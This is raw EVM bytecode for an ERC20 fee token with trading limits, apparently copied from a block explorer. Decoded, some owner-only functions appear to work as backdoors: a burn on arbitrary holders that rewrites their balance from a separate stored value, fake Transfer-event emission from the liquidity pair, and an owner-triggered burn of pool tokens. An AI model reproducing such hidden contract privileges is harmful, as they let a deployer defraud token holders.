0006153af6023836142a1565b91506153ba82615353565b604082019050919050565b600060208201905081810360008301526153de816153a2565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061541b6016836142a1565b9150615426826153e5565b602082019050919050565b6000602082019050818103600083015261544a8161540e565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006154d36049836142a1565b91506154de82615451565b606082019050919050565b60006020820190508181036000830152615502816154c6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006155656035836142a1565b915061557082615509565b604082019050919050565b6000602082019050818103600083015261559481615558565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006155d16013836142a1565b91506155dc8261559b565b602082019050919050565b60006020820190508181036000830152615600816155c4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006156636036836142a1565b915061566e82615607565b604082019050919050565b6000602082019050818103600083015261569281615656565b9050919050565b60006156a482614351565b91506156af83614351565b9250828210156156c2576156c161488d565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006157296021836142a1565b9150615734826156cd565b604082019050919050565b600060208201905081810360008301526157588161571c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006157bb6022836142a1565b91506157c68261575f565b604082019050919050565b600060208201905081810360008301526157ea816157ae565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061584d6021836142a1565b9150615858826157f1565b604082019050919050565b6000602082019050818103600083015261587c81615840565b9050919050565b600081905092915050565b50565b600061589e600083615883565b91506158a98261588e565b600082019050919050565b60006158bf82615891565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061591d615918615913846158f8565b6143c7565b614351565b9050919050565b61592d81615902565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615968816141f5565b82525050565b600061597a838361595f565b60208301905092915050565b6000602082019050919050565b600061599e82615933565b6159a8818561593e565b93506159b38361594f565b8060005b838110156159e45781516159cb888261596e565b97506159d683615986565b9250506001810190506159b7565b5085935050505092915050565b600060a082019050615a066000830188614441565b615a136020830187615924565b8181036040830152615a258186615993565b9050615a3460608301856145b0565b615a416080830184614441565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fc4f9c5528ac054aa1891287236b62c155fda801ba699196e006c1d6f24418e164736f6c634300080a0033000000000000000000000000a2294cb5b69068e47f82efbea5045d6415336359

Deployed Bytecode

0x6080604052600436106104095760003560e01c80638bdb2afa11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610f8e578063f2fde38b14610fb9578063f637434214610fe2578063f8b45b051461100d578063fe72b27a1461103857610410565b8063d85ba06314610ed0578063dd62ed3e14610efb578063e2f4560514610f38578063e884f26014610f6357610410565b8063c18bc195116100f2578063c18bc19514610deb578063c2b7bbb614610e14578063c876d0b914610e3d578063c8c8ebe414610e68578063d257b34f14610e9357610410565b8063bbbb3ffc14610d45578063bbc0c74214610d6e578063c024666814610d99578063c17b5b8c14610dc257610410565b80639ec22c0e116101a6578063a457c2d711610175578063a457c2d714610c3a578063a4c82a0014610c77578063a9059cbb14610ca2578063aacebbe314610cdf578063b62496f514610d0857610410565b80639ec22c0e14610b905780639fccce3214610bbb578063a0d82dc514610be6578063a165506f14610c1157610410565b8063924de9b7116101e2578063924de9b714610ae857806395d89b4114610b115780639c3b4fdc14610b3c5780639dc29fac14610b6757610410565b80638bdb2afa14610a3c5780638da5cb5b14610a675780638ea5220f14610a925780639213691314610abd57610410565b8063313ce5671161031957806370a08231116102a15780637571336a116102705780637571336a1461097d57806375f0a874146109a65780637bce5a04146109d15780638095d564146109fc5780638a8c523c14610a2557610410565b806370a08231146108d5578063715018a614610912578063730c188814610929578063751039fc1461095257610410565b80633eb2b5ad116102e85780633eb2b5ad1461080257806349bd5a5e1461082b57806350465686146108565780636a486a8e1461087f5780636ddd1713146108aa57610410565b8063313ce56714610732578063333f52e01461075d5780633582ad231461079a57806339509351146107c557610410565b8063199ffc721161039c57806323b872dd1161036b57806323b872dd1461064b57806326ededb81461068857806327c8f835146106b15780632c3e486c146106dc5780632e82f1a01461070757610410565b8063199ffc72146105a15780631a8145bb146105cc5780631f3fed8f146105f7578063203e727e1461062257610410565b80631694505e116103d85780631694505e146104f757806318160ddd146105225780631816467f1461054d578063184c16c51461057657610410565b80630468ede01461041557806306fdde0314610452578063095ea7b31461047d57806310d5de53146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061043c60048036038101906104379190614233565b611075565b604051610449919061427b565b60405180910390f35b34801561045e57600080fd5b506104676110cb565b604051610474919061432f565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190614387565b61115d565b6040516104b1919061427b565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190614233565b61117b565b6040516104ee919061427b565b60405180910390f35b34801561050357600080fd5b5061050c61119b565b6040516105199190614426565b60405180910390f35b34801561052e57600080fd5b506105376111bf565b6040516105449190614450565b60405180910390f35b34801561055957600080fd5b50610574600480360381019061056f9190614233565b6111c9565b005b34801561058257600080fd5b5061058b611291565b6040516105989190614450565b60405180910390f35b3480156105ad57600080fd5b506105b6611297565b6040516105c39190614450565b60405180910390f35b3480156105d857600080fd5b506105e161129d565b6040516105ee9190614450565b60405180910390f35b34801561060357600080fd5b5061060c6112a3565b6040516106199190614450565b60405180910390f35b34801561062e57600080fd5b506106496004803603810190610644919061446b565b6112a9565b005b34801561065757600080fd5b50610672600480360381019061066d9190614498565b61133c565b60405161067f919061427b565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa9190614550565b611415565b005b3480156106bd57600080fd5b506106c6611601565b6040516106d391906145bf565b60405180910390f35b3480156106e857600080fd5b506106f1611607565b6040516106fe9190614450565b60405180910390f35b34801561071357600080fd5b5061071c61160d565b604051610729919061427b565b60405180910390f35b34801561073e57600080fd5b50610747611620565b60405161075491906145f6565b60405180910390f35b34801561076957600080fd5b50610784600480360381019061077f9190614233565b611629565b604051610791919061427b565b60405180910390f35b3480156107a657600080fd5b506107af61167f565b6040516107bc919061427b565b60405180910390f35b3480156107d157600080fd5b506107ec60048036038101906107e79190614387565b611692565b6040516107f9919061427b565b60405180910390f35b34801561080e57600080fd5b5061082960048036038101906108249190614233565b611745565b005b34801561083757600080fd5b50610840611791565b60405161084d91906145bf565b60405180910390f35b34801561086257600080fd5b5061087d6004803603810190610878919061463d565b6117b7565b005b34801561088b57600080fd5b50610894611864565b6040516108a19190614450565b60405180910390f35b3480156108b657600080fd5b506108bf61186a565b6040516108cc919061427b565b60405180910390f35b3480156108e157600080fd5b506108fc60048036038101906108f79190614233565b61187d565b6040516109099190614450565b60405180910390f35b34801561091e57600080fd5b506109276118c6565b005b34801561093557600080fd5b50610950600480360381019061094b919061469d565b61198c565b005b34801561095e57600080fd5b50610967611a58565b604051610974919061427b565b60405180910390f35b34801561098957600080fd5b506109a4600480360381019061099f91906146f0565b611a84565b005b3480156109b257600080fd5b506109bb611ae7565b6040516109c891906145bf565b60405180910390f35b3480156109dd57600080fd5b506109e6611b0d565b6040516109f39190614450565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190614730565b611b13565b005b348015610a3157600080fd5b50610a3a611b9e565b005b348015610a4857600080fd5b50610a51611be5565b604051610a5e91906147a4565b60405180910390f35b348015610a7357600080fd5b50610a7c611c0b565b604051610a8991906145bf565b60405180910390f35b348015610a9e57600080fd5b50610aa7611c34565b604051610ab491906145bf565b60405180910390f35b348015610ac957600080fd5b50610ad2611c5a565b604051610adf9190614450565b60405180910390f35b348015610af457600080fd5b50610b0f6004803603810190610b0a91906147bf565b611c60565b005b348015610b1d57600080fd5b50610b26611c85565b604051610b33919061432f565b60405180910390f35b348015610b4857600080fd5b50610b51611d17565b604051610b5e9190614450565b60405180910390f35b348015610b7357600080fd5b50610b8e6004803603810190610b899190614387565b611d1d565b005b348015610b9c57600080fd5b50610ba5611d33565b604051610bb29190614450565b60405180910390f35b348015610bc757600080fd5b50610bd0611d39565b604051610bdd9190614450565b60405180910390f35b348015610bf257600080fd5b50610bfb611d3f565b604051610c089190614450565b60405180910390f35b348015610c1d57600080fd5b50610c386004803603810190610c3391906147ec565b611d45565b005b348015610c4657600080fd5b50610c616004803603810190610c5c9190614387565b611d5b565b604051610c6e919061427b565b60405180910390f35b348015610c8357600080fd5b50610c8c611e28565b604051610c999190614450565b60405180910390f35b348015610cae57600080fd5b50610cc96004803603810190610cc49190614387565b611e2e565b604051610cd6919061427b565b60405180910390f35b348015610ceb57600080fd5b50610d066004803603810190610d019190614233565b611e4c565b005b348015610d1457600080fd5b50610d2f6004803603810190610d2a9190614233565b611f14565b604051610d3c91906145bf565b60405180910390f35b348015610d5157600080fd5b50610d6c6004803603810190610d6791906147ec565b611f47565b005b348015610d7a57600080fd5b50610d8361202b565b604051610d90919061427b565b60405180910390f35b348015610da557600080fd5b50610dc06004803603810190610dbb91906146f0565b61203e565b005b348015610dce57600080fd5b50610de96004803603810190610de49190614730565b6120ef565b005b348015610df757600080fd5b50610e126004803603810190610e0d919061446b565b61217a565b005b348015610e2057600080fd5b50610e3b6004803603810190610e369190614233565b61220d565b005b348015610e4957600080fd5b50610e52612286565b604051610e5f919061427b565b60405180910390f35b348015610e7457600080fd5b50610e7d612299565b604051610e8a9190614450565b60405180910390f35b348015610e9f57600080fd5b50610eba6004803603810190610eb5919061446b565b61229f565b604051610ec7919061427b565b60405180910390f35b348015610edc57600080fd5b50610ee5612380565b604051610ef29190614450565b60405180910390f35b348015610f0757600080fd5b50610f226004803603810190610f1d91906147ec565b612386565b604051610f2f9190614450565b60405180910390f35b348015610f4457600080fd5b50610f4d61240d565b604051610f5a9190614450565b60405180910390f35b348015610f6f57600080fd5b50610f78612413565b604051610f85919061427b565b60405180910390f35b348015610f9a57600080fd5b50610fa361243f565b604051610fb09190614450565b60405180910390f35b348015610fc557600080fd5b50610fe06004803603810190610fdb9190614233565b612445565b005b348015610fee57600080fd5b50610ff761257a565b6040516110049190614450565b60405180910390f35b34801561101957600080fd5b50611022612580565b60405161102f9190614450565b60405180910390f35b34801561104457600080fd5b5061105f600480360381019061105a919061446b565b612586565b60405161106c919061427b565b60405180910390f35b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6060600680546110da9061485b565b80601f01602080910402602001604051908101604052809291908181526020018280546111069061485b565b80156111535780601f1061112857610100808354040283529160200191611153565b820191906000526020600020905b81548152906001019060200180831161113657829003601f168201915b5050505050905090565b600061117161116a612881565b8484612889565b6001905092915050565b60266020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b6111d1612a54565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b60125481565b60215481565b60205481565b6112b1612a54565b633b9aca006103e860016112c36111bf565b6112cd91906148bc565b6112d79190614945565b6112e19190614945565b811015611323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131a906149e8565b60405180910390fd5b633b9aca008161133391906148bc565b600c8190555050565b6000611349848484612ad2565b61140a84611355612881565b61140585604051806060016040528060288152602001615a7260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113bb612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b600190509392505050565b61141d612a54565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ed9190614a1d565b6040518363ffffffff1660e01b815260040161150a929190614a4a565b602060405180830381865afa158015611527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154b9190614a1d565b905060005b848490508110156115fa5784848281811061156e5761156d614a73565b5b90506020020160208101906115839190614233565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df9190614450565b60405180910390a380806115f290614aa2565b915050611550565b5050505050565b61dead81565b60145481565b601360009054906101000a900460ff1681565b60006009905090565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900460ff1681565b600061173b61169f612881565b8461173685600360006116b0612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b612889565b6001905092915050565b61174d612a54565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117bf612a54565b60005b8383905081101561185e5781601760008686858181106117e5576117e4614a73565b5b90506020020160208101906117fa9190614233565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061185690614aa2565b9150506117c2565b50505050565b601c5481565b601660029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6118ce612a54565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611994612a54565b6102588310156119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d090614b5d565b60405180910390fd5b6103e882111580156119ec575060008210155b611a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2290614bef565b60405180910390fd5b826014819055508160128190555080601360006101000a81548160ff021916908315150217905550505050565b6000611a62612a54565b6000601660006101000a81548160ff0219169083151502179055506001905090565b611a8c612a54565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b611b1b612a54565b8260198190555081601a8190555080601b81905550601b54601a54601954611b439190614c0f565b611b4d9190614c0f565b60188190555060196018541115611b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9090614cb1565b60405180910390fd5b505050565b611ba6612a54565b6001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff02191690831515021790555042601581905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b611c68612a54565b80601660026101000a81548160ff02191690831515021790555050565b606060078054611c949061485b565b80601f0160208091040260200160405190810160405280929190818152602001828054611cc09061485b565b8015611d0d5780601f10611ce257610100808354040283529160200191611d0d565b820191906000526020600020905b815481529060010190602001808311611cf057829003601f168201915b5050505050905090565b601b5481565b611d25612a54565b611d2f828261365d565b5050565b60115481565b60225481565b601f5481565b611d4d612a54565b611d578282611f47565b5050565b6000611e1e611d68612881565b84611e1985604051806060016040528060258152602001615a9a6025913960036000611d92612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b6001905092915050565b60155481565b6000611e42611e3b612881565b8484612ad2565b6001905092915050565b611e54612a54565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60276020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611f4f612a54565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601660019054906101000a900460ff1681565b612046612a54565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120e3919061427b565b60405180910390a25050565b6120f7612a54565b82601d8190555081601e8190555080601f81905550601f54601e54601d5461211f9190614c0f565b6121299190614c0f565b601c819055506063601c541115612175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216c90614d1d565b60405180910390fd5b505050565b612182612a54565b633b9aca006103e860056121946111bf565b61219e91906148bc565b6121a89190614945565b6121b29190614945565b8110156121f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121eb90614daf565b60405180910390fd5b633b9aca008161220491906148bc565b600b8190555050565b612215612a54565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612283600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611a84565b50565b602460009054906101000a900460ff1681565b600c5481565b60006122a9612a54565b620186a060016122b76111bf565b6122c191906148bc565b6122cb9190614945565b82101561230d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230490614e41565b60405180910390fd5b6103e8600a61231a6111bf565b61232491906148bc565b61232e9190614945565b821115612370576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236790614ed3565b60405180910390fd5b81600d8190555060019050919050565b60185481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b600061241d612a54565b6000602460006101000a81548160ff0219169083151502179055506001905090565b601a5481565b61244d612a54565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b490614f65565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e5481565b600b5481565b6000612590612a54565b6010546011546125a09190614c0f565b42116125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890614fd1565b60405180910390fd5b6103e8821115612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90615063565b60405180910390fd5b4260118190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161268a91906145bf565b602060405180830381865afa1580156126a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cb9190615098565b905060006126f66127106126e8868561382990919063ffffffff16565b6138a490919063ffffffff16565b9050600081111561273157612730600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836138ee565b5b600060276000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156127ff57600080fd5b505af1158015612813573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846128329190614c0f565b905083811015612877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286e90615111565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f0906151a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296090615235565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a479190614450565b60405180910390a3505050565b612a5c612881565b73ffffffffffffffffffffffffffffffffffffffff16612a7a613b87565b73ffffffffffffffffffffffffffffffffffffffff1614612ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac7906152a1565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3990615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba9906153c5565b60405180910390fd5b6000811415612bcc57612bc7838360006138ee565b6135f4565b601660009054906101000a900460ff16156131e35761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c525750612c22611c0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c8b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cca5750612c9a611c0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612ce35750600a60149054906101000a900460ff16155b156131e257601660019054906101000a900460ff16612ddd57602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d9d5750602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd390615431565b60405180910390fd5b5b602460009054906101000a900460ff1615612fa757612dfa611c0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612e8157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612edb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fa65743602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f58906154e9565b60405180910390fd5b43602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309a57600c5481111561303d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130349061557b565b60405180910390fd5b600b546130498361187d565b826130549190614c0f565b1115613095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308c906155e7565b60405180910390fd5b6131e1565b602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313557600c54811115613130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312790615679565b60405180910390fd5b6131e0565b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131df57600b546131928361187d565b8261319d9190614c0f565b11156131de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d5906155e7565b60405180910390fd5b5b5b5b5b5b60006131ee3061187d565b90506000600d5482101590508080156132135750601660029054906101000a900460ff165b801561322c5750600a60149054906101000a900460ff16155b80156132825750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132d85750602560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561331c576001600a60146101000a81548160ff021916908315150217905550613300613b9b565b6000600a60146101000a81548160ff0219169083151502179055505b600a60149054906101000a900460ff161580156133455750601360009054906101000a900460ff165b156133555761335385613d23565b505b6000600a60149054906101000a900460ff16159050602560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061340b5750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561341557600090505b600081156135e4576000601c5411156134f0576134506064613442601c548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601c54601e548261346391906148bc565b61346d9190614945565b6021600082825461347e9190614c0f565b92505081905550601c54601f548261349691906148bc565b6134a09190614945565b602260008282546134b19190614c0f565b92505081905550601c54601d54826134c991906148bc565b6134d39190614945565b602060008282546134e49190614c0f565b925050819055506135c0565b600060185411156135bf5761352360646135156018548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601854601a548261353691906148bc565b6135409190614945565b602160008282546135519190614c0f565b92505081905550601854601b548261356991906148bc565b6135739190614945565b602260008282546135849190614c0f565b925050819055506018546019548261359c91906148bc565b6135a69190614945565b602060008282546135b79190614c0f565b925050819055505b5b60008111156135d5576135d48730836138ee565b5b80856135e19190615699565b94505b6135ef8787876138ee565b505050505b505050565b6000838311158290613641576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613638919061432f565b60405180910390fd5b50600083856136509190615699565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156136cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136c49061573f565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374b906157d1565b60405180910390fd5b816004546137629190615699565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137b79190615699565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161381c9190614450565b60405180910390a3505050565b60008083141561383c576000905061389e565b6000828461384a91906148bc565b90508284826138599190614945565b14613899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161389090615863565b60405180910390fd5b809150505b92915050565b60006138e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613de1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561395e576040517f08c379a000000